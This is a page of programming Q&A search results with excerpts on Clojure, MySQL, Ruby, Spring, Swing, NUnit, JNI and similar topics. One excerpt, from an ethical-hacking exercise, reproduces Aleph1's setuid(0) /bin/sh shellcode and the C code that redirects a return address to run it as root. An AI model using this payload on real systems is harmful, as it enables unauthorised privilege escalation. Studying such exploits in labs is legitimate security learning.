Search Results

Search found 20383 results on 816 pages for 'hello there'.

Page 684/816 | < Previous Page | 680 681 682 683 684 685 686 687 688 689 690 691 | Next Page >

Learning Clojure - What should I know about Java and more.

- by kartan

Hello, I have started learning Clojure recently, my main programming language is Ruby and I have no Java experience whatsoever. Which Java standard classes are a must to know when working with Clojure? Obviously Clojure doesn't come with a wrapper for everything and a lot of functionality is provided by Java's libraries. There's like a gazillion of them on javadocs - which ones should I explore? Where do I look for and how do I install third party libraries? In Ruby I'd visit Rubyforge or Rubytoolbox and then just gem install the package I found interesting. Which editor/ide for Clojure would you recommend (with the lowest learning curve)? I am trying to use Netbeans with Enclojure and paradoxally it's my biggest obstacle so far: Each generated project has some xml files, folders, library dependencies etc. the purpose of I have no clue. I am doing some labrepl exercises and wanted to try out some of the bundled libraries separately in a new project, but this simple task I cannot accomplish :/ Are there any clojure community driven blogs with news, code tips etc?

Read the article
Yahoo BOSS Question

- by Fincha

Hello everyone, I wonna to echo totalresults but somethink is wrong. // Get search results from Yahoo BOSS as an XML* $API = 'http://boss.yahooapis.com/ysearch/web/v1/'; $request = $API . $query .'?format=xml&appid='. APP_ID.'&start='.$start."0"; $ch = curl_init($request); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $xml = simplexml_load_string(curl_exec($ch)); echo $xml->resultset_web->totalhits; // Display search results - Title, Date and URL. foreach ($xml->resultset_web->result as $result) { $ausgabe .= '<a href="'.$result->clickurl.'">'.$result->title.'</a><br />'; $ausgabe .= $result->abstract."<br>"; $ausgabe .= '<a href="'.$result->clickurl.'">'.$result->url."</a> - ".round(($result->size/1024), 2)." Kb<br><br>"; } Can someone help me

Read the article
Mysql InnoDB performance optimization and indexing

- by Davide C

Hello everybody, I have 2 databases and I need to link information between two big tables (more than 3M entries each, continuously growing). The 1st database has a table 'pages' that stores various information about web pages, and includes the URL of each one. The column 'URL' is a varchar(512) and has no index. The 2nd database has a table 'urlHops' defined as: CREATE TABLE urlHops ( dest varchar(512) NOT NULL, src varchar(512) DEFAULT NULL, timestamp timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, KEY dest_key (dest), KEY src_key (src) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 Now, I need basically to issue (efficiently) queries like this: select p.id,p.URL from db1.pages p, db2.urlHops u where u.src=p.URL and u.dest=? At first, I thought to add an index on pages(URL). But it's a very long column, and I already issue a lot of INSERTs and UPDATEs on the same table (way more than the number of SELECTs I would do using this index). Other possible solutions I thought are: -adding a column to pages, storing the md5 hash of the URL and indexing it; this way I could do queries using the md5 of the URL, with the advantage of an index on a smaller column. -adding another table that contains only page id and page URL, indexing both columns. But this is maybe a waste of space, having only the advantage of not slowing down the inserts and updates I execute on 'pages'. I don't want to slow down the inserts and updates, but at the same time I would be able to do the queries on the URL efficiently. Any advice? My primary concern is performance; if needed, wasting some disk space is not a problem. Thank you, regards Davide

Read the article
How should I avoid memoization causing bugs in Ruby?

- by Andrew Grimm

Is there a consensus on how to avoid memoization causing bugs due to mutable state? In this example, a cached result had its state mutated, and therefore gave the wrong result the second time it was called. class Greeter def initialize @greeting_cache = {} end def expensive_greeting_calculation(formality) case formality when :casual then "Hi" when :formal then "Hello" end end def greeting(formality) unless @greeting_cache.has_key?(formality) @greeting_cache[formality] = expensive_greeting_calculation(formality) end @greeting_cache[formality] end end def memoization_mutator greeter = Greeter.new first_person = "Bob" # Mildly contrived in this case, # but you could encounter this in more complex scenarios puts(greeter.greeting(:casual) << " " << first_person) # => Hi Bob second_person = "Sue" puts(greeter.greeting(:casual) << " " << second_person) # => Hi Bob Sue end memoization_mutator Approaches I can see to avoid this are: greeting could return a dup or clone of @greeting_cache[formality] greeting could freeze the result of @greeting_cache[formality]. That'd cause an exception to be raised when memoization_mutator appends strings to it. Check all code that uses the result of greeting to ensure none of it does any mutating of the string. Is there a consensus on the best approach? Is the only disadvantage of doing (1) or (2) decreased performance? (I also suspect freezing an object may not work fully if it has references to other objects) Side note: this problem doesn't affect the main application of memoization: as Fixnums are immutable, calculating Fibonacci sequences doesn't have problems with mutable state. :)

Read the article
I have this code .... Ethical Hacking

- by kmitnick

hello folks, I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code. //shellcode.c char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { //main function int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } I give this the super user privileges, with chmod u+s shellcode as a super user, then go back to normal user with su - normal_user but when I run ./shellcode I should be a root user but instead I still be normal_user so any help?? btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...

Read the article
How to add on key down and on key up event in java script

- by Ramesh

Hello , I am creating an live search for my blog..i got this from w3 schools and i need to add on keyboard up,down mouse up and down event ... <html> <head> <script type="text/javascript"> function showResult(str) { if (str.length==0) { document.getElementById("livesearch").innerHTML=""; document.getElementById("livesearch").style.border="0px"; return; } if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("livesearch").innerHTML=xmlhttp.responseText; document.getElementById("livesearch").style.border="1px solid #A5ACB2"; } } xmlhttp.open("GET","livesearch.php?q="+str,true); xmlhttp.send(); } </script> </head> <body> <form> <input type="text" size="30" onkeyup="showResult(this.value)" /> <div id="livesearch"></div> </form> </body> </html>

Read the article
Spring - Transaction Readonly

- by AAK

Hello Gurus! Just wanted your expert opinions on declarative transaction management for Spring. Here is my setup - A. DAO Layer is Plain old JDBC using jdbcTemplete (No hibernate etc) B. Service Layer is POJO with declarative trasnactions as follows - save*, readonly=false, rollback for Throwable Things work fine with above setup. However when I say get*, readonly=true I see errors in my log file saying - Database connection cannot be marked as readonly. This happens for all get* methods in Service Layer. Now my questions - A. Do I have to say get* as readonly? All my get* methods are pure read DB operations. I do not wish to run them in any transaction context. How serious is the above error? B. When I remove the get* confiiguration, I do not see the errors, morever all my simple get* operations are performed without transactions. Is this the way to go? C. Why would anyone want to have transactional methods where readonly = true? Is there any practical significance of this configuration? Thank you! As always your resposes are much appreciated!

Read the article
Connecting Error to Remote Oracle XE database using ASP.NET

- by imsatasia

Hello, I have installed Oracle XE on my Development machine and it is working fine. Then I installed Oracle XE client on my Test machine which is also working fine and I can access Development PC database from Browser. Now, I want to create an ASP.Net application which can access that Oracle XE database. I tried it too, but it always shows me an error on my TEST machine to connect database to the Development Machine using ASP.Net. Here is my code for ASP.Net application: protected void Page_Load(object sender, EventArgs e) { string connectionString = GetConnectionString(); OracleConnection connection = new OracleConnection(connectionString); connection.Open(); Label1.Text = "State: " + connection.State; Label1.Text = "ConnectionString: " + connection.ConnectionString; OracleCommand command = connection.CreateCommand(); string sql = "SELECT * FROM Users"; command.CommandText = sql; OracleDataReader reader = command.ExecuteReader(); while (reader.Read()) { string myField = (string)reader["nID"]; Console.WriteLine(myField); } } static private string GetConnectionString() { // To avoid storing the connection string in your code, // you can retrieve it from a configuration file. return "User Id=System;Password=admin;Data Source=(DESCRIPTION=" + "(ADDRESS=(PROTOCOL=TCP)(HOST=myServerAddress)(PORT=1521))" + "(CONNECT_DATA=(SERVICE_NAME=)));"; }

Read the article
Setting nested object to null when selected option has empty value

- by Javi

Hello, I have a Class which models a User and another which models his country. Something like this: public class User{ private Country country; //other attributes and getter/setters } public class Country{ private Integer id; private String name; //other attributes and getter/setters } I have a Spring form where I have a combobox so the user can select his country or can select the undefined option to indicate he doen't want to provide this information. So I have something like this: <form:select path="country"> <form:option value="">-Select one-</form:option> <form:options items="${countries}" itemLabel="name" itemValue="id"/> </form:select> In my controller I get the autopopulated object with the user information and I want to have country set to null when the "-Select one-" option has been selected. So I have set a initBinder with a custom editor like this: @InitBinder protected void initBinder(WebDataBinder binder) throws ServletException { binder.registerCustomEditor(Country.class, "country", new CustomCountryEditor()); } and my editor do something like this: public class CustomCountryEditor(){ @Override public String getAsText() { //I return the Id of the country } @Override public void setAsText(String str) { //I search in the database for a country with id = new Integer(str) //and set country to that value //or I set country to null in case str == null } } When I submit the form it works because when I have country set to null when I have selected "-Select one-" option or the instance of the country selected. The problem is that when I load the form I have a method like the following one to load the user information. @ModelAttribute("user") public User getUser(){ //loads user from database } The object I get from getUser() has country set to a specific country (not a null value), but in the combobox is not selected any option. I've debugged the application and the CustomCountryEditor works good when setting and getting the text, thoughgetAsText method is called for every item in the list "countries" not only for the "country" field. Any idea? Is there a better way to set null the country object when I select no country option in the combobox? Thanks

Read the article
Run a PHP script every second using CLI

- by Saif Bechan

Hello, I have a dedicated server running Cent OS with a Parallel PLESK panel. I need to run a php script every second, that updates my database. These is no alternative way timewise, i have checked every method, it needs to be updated every second. I can find my script using the url: http://www.mysite.com/phpfile.php?key=123, and this has to be executed every second. Does anyone have any knowledge at all on doing this, i can not seem to find the answer. I heard about doing it with CLI and putty, but i have no knowledge of this at all. Or can this be done using the PLESK Panel? And can the file be executed locally every second. Like \phpfile.php If someone helps me on answering these question i would really appreciate it. Regards EDIT It has been a few months since i added this question. I ended up using the following code: #!/user/bin/php $start = microtime(true); set_time_limit(60); for (i = 0; i < 59; ++$i) { doMyThings(); time_sleep_until($start + $i + 1); } Thank you for this code guys! My cronjob is set to every minute. I have been running this for some time now in a test environment, and this works out great. It works really supperfast, and i see no increase in CPU nor Memory usage.

Read the article
rails Creating a model instance automatically when another is created

- by bob

Hello I have a user model and a ratings model. Whenever a new user is created I want to create a new feedback model with it automatically. Each user model has one feedback model and each feedback model has many ratings. My Classes class User < ActiveRecord::Base end class Feedback < ActiveRecord::Base belongs_to :user has_many :ratings end class Rating < ActiveRecord::Base belongs_to :feedback end My database tables -user doesn't have anything special -feedback has user_id. This user_id should be the same as the user that has just been created. For example, user_id of 1 is created, then a feedback model should be created that belongs to user_id of 1. So the user_id column in the feedback database will also be 1. - Rating has a feedback_id and a user_id the user_id in this case is the id of the person who submitted the rating. I am having it assigned through the build command. I believe my process is correct here. The Goal The goal is to have each user have a feedback table that has many ratings from other users. So if someone goes to the feedback page, they will see all the ratings given and by who. Is there a better way to approach this? How do you create a model of feedback with the same id as the user being created right when a new user is created. The idea is that when a user is created a feedback is created associated with that user so people can then go to http://localhost:3000/users/1/feedback/ and submit new ratings. I'm trying to bypass having a user rate another user with just a ratings model because I'm not sure how to do it.

Read the article
Criteria API - How to get records based on collection count?

- by Cosmo

Hello Guys! I have a Question class in ActiveRecord with following fields: [ActiveRecord("`Question`")] public class Question : ObcykaniDb<Question> { private long id; private IList<Question> relatedQuestions; [PrimaryKey("`Id`")] private long Id { get { return this.id; } set { this.id = value; } } [HasAndBelongsToMany(typeof(Question), ColumnRef = "ChildId", ColumnKey = "ParentId", Table = "RelatedQuestion")] private IList<Question> RelatedQuestions { get { return this.relatedQuestions; } set { this.relatedQuestions = value; } } } How do I write a DetachedCriteria query to get all Questions that have at least 5 related questions (count) in the RelatedQuestions collection? For now this gives me strange results: DetachedCriteria dCriteria = DetachedCriteria.For<Question>() .CreateCriteria("RelatedQuestions") .SetProjection(Projections.Count("Id")) .Add(Restrictions.EqProperty(Projections.Id(), "alias.Id")); DetachedCriteria dc = DetachedCriteria.For<Question>("alias").Add(Subqueries.Le(5, dCriteria)); IList<Question> results = Question.FindAll(dc); Any ideas what I'm doing wrong?

Read the article
Text size for drop down menu/input select not working in Safari

- by Nick

Hello All, First question... I'm having trouble getting ANY of the Drop down menu/Input Select's to appear with size 18 font in Safari. Works fine in FF. Code: <form class="form"> <select name="make"> <option value="0"> All</option> </select> </form> Css: .form input{ font-size:18px; margin-bottom:0px; } Any ideas? Can view live at [http://www.motolistr.com][1] Best, Nick EDIT 1: Thanks for the quick reply. I added a style to the select itself to avoid confusion. I tried; <select name='make' style='font-size: 18pt;'> </select> And <select name='make' style='font-size: 18px;'> </select> And <select name='make' style='font-size: 1.3em;'> </select> Still not working in SAFARI...Again FF works fine with all 3. Best, Nick

Read the article
Mobile safari - suppress Unsupported Protocol alert

- by Juriy

Hello guys, I'm creating a website for iPhone and i use the native app (cliqcliq Quickpick) to upload photos. I use the script like the following to check if the application is installed. The basic idea is to send user to a custom url, if application is there it is launched, if it is not there the url should be ignored and user is taken to App Store. Below is the script: window.launchQuickpic = function() { var start = new Date(); setTimeout(function() { if (new Date() - start > 2000) { return; } window.location = 'http://www.cliqcliq.com/quickpic/install/'; }, 1000); var getParams = [...]; window.location = 'vquickpic://?' + getParams.join('&'); }; If the native app is not installed I'm getting the alert box saying that Safari does not recognize the custom url. After user clicks "ok" it works as it is supposed to. But the alert is reeealy annoying. I've tried to surround the window.location= code with try/catch. Didn't help.

Read the article
Can't connect to MySql database from server using Devart

- by annelie

Hello, I'm having trouble connecting to a MySql database from a server. I'm using Devart to connect, and I'm not sure if I need to do something more than to simply reference the dlls. When I started working on this project it was referencing the CoreLabs dlls, which if I've understood is the previous name for Devart. That didn't work, so I downloaded the new Devart dlls instead. It works on my local machine, but when uploading to the server it crashes. I made a tiny console app to test the connection, and it fails when initialising, before I've even assigned a host etc. Do I need to do anything more than just upload my .exe file to the server? using System; using System.Collections.Generic; using System.Linq; using System.Text; using Devart.Data; using Devart.Data.MySql; namespace TestDatabaseConnection { public class Program { public static void Main(string[] args) { Console.WriteLine("about to connect"); ConnectToDatabase(); Console.ReadLine(); } public static void ConnectToDatabase() { MySqlConnection connection = new MySqlConnection(); } } } UPDATE: I can't see what the error is, I had a try catch around MySqlConnection connection = new MySqlConnection(); but no exception is thrown, it just crashes. Thanks, Annelie

Read the article
Swing: what to do when a JTree update takes too long and freezes other GUI elements?

- by java.is.for.desktop

Hello, everyone! I know that GUI code in Java Swing must be put inside SwingUtilities.invokeAndWait or SwingUtilities.invokeLater. This way threading works fine. Sadly, in my situation, the GUI update it that thing which takes much longer than background thread(s). More specific: I update a JTree with about just 400 entries, nesting depth is maximum 4, so should be nothing scary, right? But it takes sometimes one second! I need to ensure that the user is able to type in a JTextPane without delays. Well, guess what, the slow JTree updates do cause delays for JTextPane during input. It refreshes only as soon as the tree gets updated. I am using Netbeans and know empirically that a Java app can update lots of information without freezing the rest of the UI. How can it be done? NOTE 1: All those DefaultMutableTreeNodes are prepared outside the invokeAndWait. NOTE 2: When I replace invokeAndWait with invokeLater the tree doesn't get updated. NOTE 3: Fond out that recursive tree expansion takes far the most time. NOTE 4: I'm using custom tree cell renderer, will try without and report. NOTE 4a: My tree cell renderer uses a map to cache and reuse created JTextComponents, depending on tree node (as a key). CLUE 1: Wow! Without setting custom cell renderer it's 10 times faster. I think, I'll need few good tutorials on writing custom tree cell renderers.

Read the article
Siverlight animation issue

- by George2

Hello everyone, Suppose I have the following XAML snippets, my confusion is what is the meaning of the value for Storyboard.TargetProperty? i.e. the meaning of "(UIElement.RenderTransform).(TransformGroup.Children)[0].(ScaleTransform.ScaleX)". <DoubleAnimationUsingKeyFrames Storyboard.TargetName="p1" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[0].(ScaleTransform.ScaleX)" BeginTime="00:00:00"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="1"/> <SplineDoubleKeyFrame KeyTime="00:00:00.2500000" Value="1"/> <SplineDoubleKeyFrame KeyTime="00:00:00.5000000" Value="1"/> </DoubleAnimationUsingKeyFrames> ... <Path Height="2.75" Width="2.75" Data="M2.75,1.375 C2.75,2.1343915 2.1343915,2.75 1.375,2.75 C0.61560845,2.75 0,2.1343915 0,1.375 C0,0.61560845 0.61560845,0 1.375,0 C2.1343915,0 2.75,0.61560845 2.75,1.375 z" Fill="#FF9F9B9B" Stretch="Fill" Stroke="#FF000000" StrokeThickness="0" Canvas.Left="7" Canvas.Top="14" x:Name="p1"> <Path.RenderTransform> <TransformGroup> <ScaleTransform/> <SkewTransform/> <RotateTransform/> <TranslateTransform/> </TransformGroup> </Path.RenderTransform> </Path> thanks in advance, George

Read the article
PHP IP Validation Help

- by Zubair1

Hello, I am using this IP Validation Function that i came across while browsing, it has been working well until today i ran into a problem. For some reason the function won't validate this IP as valid: 203.81.192.26 I'm not too great with regular expressions, so would appreciate any help on what could be wrong. If you have another function, i would appreciate if you could post that for me. |--------------------------------------------| The code for the function is below: |--------------------------------------------| public static function validateIpAddress($ip_addr) { global $errors; $preg = '#^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}' . '(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$#'; if(preg_match($preg, $ip_addr)) { //now all the intger values are separated $parts = explode(".", $ip_addr); //now we need to check each part can range from 0-255 foreach($parts as $ip_parts) { if(intval($ip_parts) > 255 || intval($ip_parts) < 0) { $errors[] = "ip address is not valid."; return false; } return true; } return true; } else { $errors[] = "please double check the ip address."; return false; } }

Read the article
C#: How to run NUnit from my code

- by Flavio

Hello, I'd like to use NUnit to run unit tests in my plug-in, but it needs to be run in the context of my application. To solve this, I was trying to develop a plug-in that runs NUnit, which in turn will execute my tests in the application's context. I didn't find a specific documentation on this subject so I dug a piece of information here and there and I came out with the following piece of code (which is similar to one I found here in StackOverflow): SimpleTestRunner runner = new SimpleTestRunner(); TestPackage package = new TestPackage( "Test" ); string loc = Assembly.GetExecutingAssembly().Location package.Assemblies.Add( loc ); if( runner.Load(package) ) { TestResult result = runner.Run( new NullListener() ); } The result variable says "has no TestFixture" although I know for sure it is there. In fact my test file contains two test. Using another approach I found, which is summarized by the following code: TestSuiteBuilder builder = new TestSuiteBuilder(); TestSuite testSuite = builder.Build( package ); // Run tests TestResult result = testSuite.Run( new NullListener(), NUnit.Core.TestFilter.Empty ); I saw nunit data structures with only 1 test and I had the same error. For sake of completeness, I am using the latest version of nunit, which is 2.5.5.10112. Does anyone know what I'm missing? A sample code would be appreciated. thanks

Read the article
Display gridview in new window

- by Ricardo Deano

Hello all. Just a bit of advice needed really in terms of how I should handle my current scenario: I have a web page that searches for products/category information the results of which are at present displayed in a gridview on the same page. However, said gridview is a bit of a beast and as such, I would like to have a page that the user searches for, a button is pressed and the subsequent gridview is displayed in a new window. Ultimately, I would like the user to be able to make multiple searches so that new windows can have multiple gridviews containing different data sets. My current thinking is to create session variables that can be pulled through onto 'the gridview page'. Having said that, I'm not sure that would work if multiple searches are created? I am also thinking I might be able to create said 'gridview window' using javascript but my concern here is the potential loss of functionality of the gridview i.e. paging, sorting, editing, etc. Does anyone have any thoughts or theories on this? What would be "best practise"? Any thoughts greatly appreciated and taken on board. PS: This is being developed in .net, using c# and LINQ. PPS: I'm a noob so be gentle!!

Read the article
Gadget vista error var with flyout

- by Jiinn

hello ! i have a problem with a variable for the flyout : var friendsUser = ""; var friendsMdp = ""; System.Gadget.Settings.write("variableName", variableName); System.Gadget.settingsUI = "Settings.html"; System.Gadget.onSettingsClosed = SettingsClosed; System.Gadget.Flyout.visible = SettingsClosed; function SettingsClosed() { variableName = System.Gadget.Settings.read("variableName"); friendsUser = System.Gadget.Settings.read("friendUser"); friendsMdp = System.Gadget.Settings.read("friendMdp"); setContentText(); } function flyFriends() { System.Gadget.Flyout.file = 'friends.htm'; System.Gadget.Flyout.show = true ; var flyoutDiv = System.Gadget.Flyout.document.parentWindow; flyoutDiv.gMyVar = friendsUser; flyoutDiv.gMyVar2 = friendsMdp; } If i use this my flyout var is undefined , and if i write : var friendsUser = "test"; i have Test in var and after use setting i have nothing ... if i write var in flyoutDiv before System.Gadget.Flyout.show = true ; gadget bug . my settings dont have a problem, but the refresh of the var ... have you a idea ? thank you for all !

Read the article
Can the Singleton be replaced by Factory?

- by lostiniceland

Hello Everyone There are already quite some posts about the Singleton-Pattern around, but I would like to start another one on this topic since I would like to know if the Factory-Pattern would be the right approach to remove this "anti-pattern". In the past I used the singleton quite a lot, also did my fellow collegues since it is so easy to use. For example, the Eclipse IDE or better its workbench-model makes heavy usage of singletons as well. It was due to some posts about E4 (the next big Eclipse version) that made me start to rethink the singleton. The bottom line was that due to this singletons the dependecies in Eclipse 3.x are tightly coupled. Lets assume I want to get rid of all singletons completely and instead use factories. My thoughts were as follows: hide complexity less coupling I have control over how many instances are created (just store the reference I a private field of the factory) mock the factory for testing (with Dependency Injection) when it is behind an interface In some cases the factories can make more than one singleton obsolete (depending on business logic/component composition) Does this make sense? If not, please give good reasons for why you think so. An alternative solution is also appreciated. Thanks Marc

Read the article
Creating a QMainWindow from Java using JNI

- by ebasconp

Hi everybody: I'm trying to create a Qt main windows from Java using JNI directly and I got a threading error. My code looks like this: Test class: public class Test { public static void main(String... args) { System.out.println(System.getProperty("java.library.path")); TestWindow f = new TestWindow(); f.show(); } } TestWindow class: public class TestWindow { static { System.loadLibrary("mylib"); } public native void show(); } C++ impl: void JNICALL Java_testpackage_TestWindow_show (JNIEnv *, jobject) { int c = 0; char** a = NULL; QApplication* app = new QApplication(c, a); QMainWindow* mw = new QMainWindow(); mw->setWindowTitle("Hello"); mw->setGeometry(150, 150, 400, 300); mw->show(); QApplication::exec(); } and I get my window painted but frozen (it does not receive any event) and the following error message when instantiating the QMainWindow object: QCoreApplication::sendPostedEvents: Cannot send posted events for objects in another thread I know all the UI operations must done in the UI thread but in my example I created the QApplication in the only thread I have running, so, everything should work properly. I did some tests executing the code of my "show" method from a QMetaObject::invokeMethod stuff using Qt::QueuedConnection but nothing works properly. I know I could use Jambi... but I know that it could be done natively too and that is what I want to do :) Any ideas on this? Thanks in advance! Ernesto

Read the article
Using GNU Octave FFT functions

- by CFP

Hello world! I'm playing with octave's fft functions, and I can't really figure out how to scale their output: I use the following (very short) code to approximate a function: function y = f(x) y = x .^ 2; endfunction; X=[-4096:4095]/64; Y = f(X); # plot(X, Y); F = fft(Y); S = [0:2047]/2048; function points = approximate(input, count) size = size(input)(2); fourier = [fft(input)(1:count) zeros(1, size-count)]; points = ifft(fourier); endfunction; Y = f(X); plot(X, Y, X, approximate(Y, 10)); Basically, what it does is take a function, compute the image of an interval, fft-it, then keep a few harmonics, and ifft the result. Yet I get a plot that is vertically compressed (the vertical scale of the output is wrong). Any ideas? Thanks!

Read the article
Can I serialize an object if I didn't write the class used to instantiate that object?

- by Richard77

Hello, I've a simple class [Serializable] public class MyClass { public String FirstName { get; set: } public String LastName { get; set: } //Bellow is what I would like to do //But, it's not working //I get an exception ContactDataContext db = new ContactDataContext(); public void Save() { Contact contact = new Contact(); contact.FirstName = FirstName; contact.LastName = LastName; db.Contacts.InsertOnSubmit(contact); db.SubmitChanges(); } } I wanted to attach a Save method to the class so that I could call it on each object. When I introduced the above statement which contains ContactDataContext, I got the following error "In assembly ... PublicKeyToken=null' is not marked as serializable" It's clear that the DataContext class is generated by the framework (). I checked and did not see where that class was marked serialize. What can I do to overcome that? What's the rule when I'm not the author of a class? Just go ahead and mark the DataContext class as serializable, and pretend that everything will work? Thanks for helping

Read the article

< Previous Page | 680 681 682 683 684 685 686 687 688 689 690 691 | Next Page >